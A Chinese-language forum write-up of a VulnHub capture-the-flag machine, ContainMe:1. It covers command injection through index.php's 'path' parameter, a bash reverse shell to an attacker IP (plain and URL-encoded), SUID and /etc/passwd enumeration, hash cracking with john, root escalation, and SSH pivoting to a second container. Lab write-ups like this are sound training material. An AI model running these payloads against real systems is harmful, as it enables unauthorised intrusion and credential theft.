回答

收藏

VuInhub 靶机篇:ContainMe:1

HG021B HG021B 20505 人阅读 | 0 人回复 | 2024-05-07

0x01 靶机信息

  • 名称:ContainMe: 1
  • 发布日期:2021 年 7 月 29 日
  • 作者:IT Security Works
  • 系列:ContainMe
  • 难度:简易
  • 简介:难度很简单。这是一个CTF。
  • 下载链接https://download.vulnhub.com/containme/THM-ContainMe-v4.ova
  • MD5:979ED9EA52B3510641AF59A79514C522
  • 网络:DHCP自动分配

0x02 Write-Up

2.1 主机扫描

目标机IP:192.168.181.159

使用nmap工具扫描

nmap -sS -sV -Pn -sC -p- 192.168.181.159
-sS 隐蔽扫描,-sV 详细版本扫描,-Pn 禁Ping,-sC 默认漏扫扫描脚本   -p- 所有端口

目标机开放了ssh,http服务和EIP协议端口

image

2.2 访问http服务

访问主页是默认页面

image

2.2.1 获取网站目录信息

使用dirsearch工具扫描目录

dirsearch -u http://192.168.181.159/ -w /usr/share/dirb/wordlists/common.txt
-u 指定url    -w 指定字典文件

扫描出index.php和info.php

image

访问index.php,发现返回内容像是执行了ls的命令

image

查看源码,提示“Where is the path” ,可能存在命令注入

image

2.2.2 Wfuzz 模糊查询

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "192.168.181.159/index.php?FUZZ=id" --hh 329
-c 高亮显示,-w 指定字典,-u 指定url --hh 忽悠指定响应字符

查询到关键字path

image

测试命令执行成功

image

2.2.3 反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.181.136/6666 0>&1'
反弹语句
将语句url编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.181.136%2F6666%200%3E%261%27

image

在攻击机上开启侦听端口

nc -nvlp 6666

image

执行语句

image

反弹成功

image

查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现一个crypt可执行文件

image

执行无显示

image

查询用户,发现用户mike

cat /etc/passwd

image

发现1cryptupx文件,执行结果和crypt文件一致

image

crypt对应翻译是加密的意思

2.2.4 逆向代码信息

使用xxd命令查看文件内容

xxd -ps /home/mike/1cryptupx
-p:从终端处打印出文件的前16个16进制位,-s:从给定的地址处开始转换

将文件中的二进制码转换为十六进制

image

将十六进制码复制进HxD,导出还原1cryptupx

image

2.2.4.1 使用Detect It Easy工具扫描

(根据文件名提示,可能使用upx打包)
使用Detect It Easy工具扫描文件,确定使用upx打包

image

2.2.4.2 使用UPX Tool+工具脱壳

https://www.wmzhe.com/soft-69553.html
(工具下载)

image

2.2.4.3 使用ida工具打开

image

读取到这段代码,当我们的值为
"$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6"
会执行/bash/bash

image

2.2.4.4 利用John破解hash
echo '$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash 
利用rockyou文件爆破hash

image

爆破出值为mike,执行./1cryptupx mike
发现还在www-data用户
因为我们的文件是mike用户和组拥有的

image

我们使用之前那个SUID文件crypt,成功获取root权限

image

2.3 发现主机2

在root目录下并没有发现flag,联想到信息收集时扫描出的EIP协议(它是一种用于虚拟网络中实现弹性IP地址分配的协议)

我们查看本地网络,拥有两个IP(192和172),说明我们在容器中,还存在其他容器

image

回到开头路径发现的info.php文件,可以发现使用了lxd容器

image

2.3.1 使用ping探测存活IP

for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done
-c 1:这告诉`ping`只发送一个ICMP回显请求。
-w 5:设置超时为5秒。如果在这个时间内没有收到响应,`ping`命令就会超时。
&:后台执行

发下目标机器:172.16.20.6

image

整理host1发现mike目录下有ssh密钥,发现是属于目标机的

ssh [email]mike@172.16.20.6[/email] -i id_rsa
-i 使用密钥登录

image

登录后收集信息,发现有mysql服务

netstat -tunlp

image

使用弱密码password成功登录

image

成功得到了root的密码,bjsig4868fgjjeog

image

2.3.2 获得flag

登录root,解压mike压缩包,获得flag

image

分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

188 积分
24 主题